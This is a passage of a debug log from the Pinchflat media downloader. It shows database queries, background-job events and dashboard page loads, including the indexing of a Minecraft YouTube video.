s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.814 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-10 22:16:00Z], 2] 18:35:25.814 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "f7cb27c7-835b-43cb-b426-4619825af1f8", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", 18, "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, false, false, 2, [], 98, ~U[2026-05-10 22:16:00Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, 2, ~U[2026-05-10 22:16:00Z]] 18:35:25.815 [debug] QUERY OK source="sources" db=0.2ms idle=3.9ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], 2] 18:35:25.816 [debug] QUERY OK source="media_items" db=1.4ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:35:25.818 [debug] QUERY OK source="media_items" db=1.3ms idle=4.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:35:25.819 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:35:25.820 [debug] QUERY OK source="tasks" db=0.1ms idle=2.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17076, 2, ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z]] 18:35:25.820 [info] {"args":{"id":2},"id":17073,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":27928307,"event":"job:stop","queue_time":421425,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:35:47.594 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.132 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:36:17.596 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:47.598 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.133 [info] {"source":"oban","duration":324,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:37:17.600 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:47.602 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.134 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:38:17.604 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:47.606 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.135 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:39:17.608 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:47.610 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.136 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:40:17.612 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:47.614 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.137 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:41:02.788 [info] GET / 18:41:02.788 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:41:02.789 [debug] QUERY OK source="settings" db=0.2ms idle=1100.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:02.789 [debug] QUERY OK source="media_profiles" db=0.1ms idle=471.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:41:02.789 [debug] QUERY OK source="sources" db=0.1ms idle=101.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:41:02.791 [debug] QUERY OK source="media_items" db=1.1ms idle=101.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:41:02.791 [debug] QUERY OK source="media_items" db=0.4ms idle=102.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:41:02.791 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:02.792 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:02.792 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:02.793 [debug] QUERY OK source="tasks" db=0.2ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:41:02.794 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:41:02.794 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:41:02.795 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:41:02.797 [debug] QUERY OK source="media_items" db=1.4ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:41:02.799 [debug] QUERY OK source="media_items" db=1.0ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:41:02.799 [info] Sent 200 in 10ms 18:41:17.616 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:47.618 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.138 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:42:17.620 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:47.622 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 18:43:00.139 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:43:17.624 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:47.626 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.140 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:44:17.628 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:47.630 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.141 [info] {"source":"oban","duration":315,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:45:17.632 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:47.634 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.142 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:46:17.636 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:47.638 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.143 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:47:17.640 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:47.642 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.144 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:48:17.644 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 18:48:47.646 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 18:49:00.145 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:49:17.648 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:47.650 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.146 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:50:17.652 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:38.143 [info] GET / 18:50:38.143 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:50:38.143 [debug] QUERY OK source="settings" db=0.2ms idle=1455.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:50:38.143 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1455.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:50:38.144 [debug] QUERY OK source="sources" db=0.0ms idle=1455.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:50:38.145 [debug] QUERY OK source="media_items" db=1.1ms idle=1084.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:50:38.146 [debug] QUERY OK source="media_items" db=0.3ms idle=84.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:50:38.146 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:50:38.146 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:50:38.147 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:50:38.148 [debug] QUERY OK source="tasks" db=0.2ms idle=2.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:50:38.148 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:50:38.149 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:50:38.149 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:50:38.152 [debug] QUERY OK source="media_items" db=1.4ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:50:38.153 [debug] QUERY OK source="media_items" db=0.8ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:50:38.153 [info] Sent 200 in 10ms 18:50:47.654 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.147 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:51:17.656 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:42.151 [info] {"args":{"id":1},"id":17074,"meta":{},"system_time":1787190702151057545,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:51:42.151 [debug] QUERY OK source="sources" db=0.2ms idle=462.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:42.152 [debug] QUERY OK source="settings" db=0.2ms idle=463.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 